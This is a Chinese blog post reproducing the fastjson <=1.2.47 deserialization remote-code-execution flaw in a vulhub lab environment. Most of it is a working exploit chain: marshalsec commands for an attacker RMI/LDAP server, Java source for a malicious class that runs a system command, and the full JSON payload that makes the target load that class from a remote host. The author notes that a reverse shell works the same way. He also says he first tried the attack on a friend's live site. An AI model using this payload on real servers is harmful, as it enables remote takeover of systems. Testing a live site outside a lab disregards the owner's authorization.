fastjson<=1.2.47反序列化漏洞复现
0x00:前言
这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告。既然漏洞环境送上门来,我便打算直接下手试一试。在我的想象中当然是一发入魂回车shell(大雾),事实证明事情永远不会这么简单,我怀疑他们偷偷修复了这个漏洞因为我rmi服务器连响应都没收到....因此我是基于P师傅的vulhub环境复现的。
0x01:环境准备
直接将github上的vulhub下载下来,进入fastjson漏洞环境目录下,执行
dcoker-compose up -d
开启环境
接着在自己的vps里开启rmi或者ldap服务
推荐使用marshalsec快速开启rmi或ldap服务
地址:
https://github.com/mbechler/marshalsec
下载marshalsec,使用maven编译jar包
mvn clean package -DskipTests
开启rmi或ldap服务
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
这里的TouchFile是我编译好的恶意类,将编译好的TouchFile.class放在tomcat webapps/ROOT 目录下,java源码如下
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
开启tomacat,确认可以访问http://ip:8080/TouchFile.class
为什么要确认这一点呢,因为我一开始把class文件放在了webapps目录下一直没复现成功。后来我一看tomcat的access-log发现我rmi确实请求访问恶意类了,但是是404...我一度怀疑人生了都...
0x02:攻击
直接请求搭建好的漏洞环境,端口是8090 将方法改成POST
payload:
"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:8088/TouchFile", "autoCommit":true } }
发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class
可以看到已成功执行touch /tmp/success
同理 反弹shell
0x03:一些坑点
因为之前的服务器到期了一直没买新的,这次的vps是刚买的,买的阿里云忘了配置防火墙了就很尴尬...rmi一开始没收到请求我还很疑惑,结果我朋友问我你防火墙配置了吗....
接着就是这个恶意类放置路径的问题(我java实在是太菜了 这不是坑点 这是我太菜了)
最后就是rmi和ldap这种利用方式对版本是有要求的,它们分别在以下版本被修复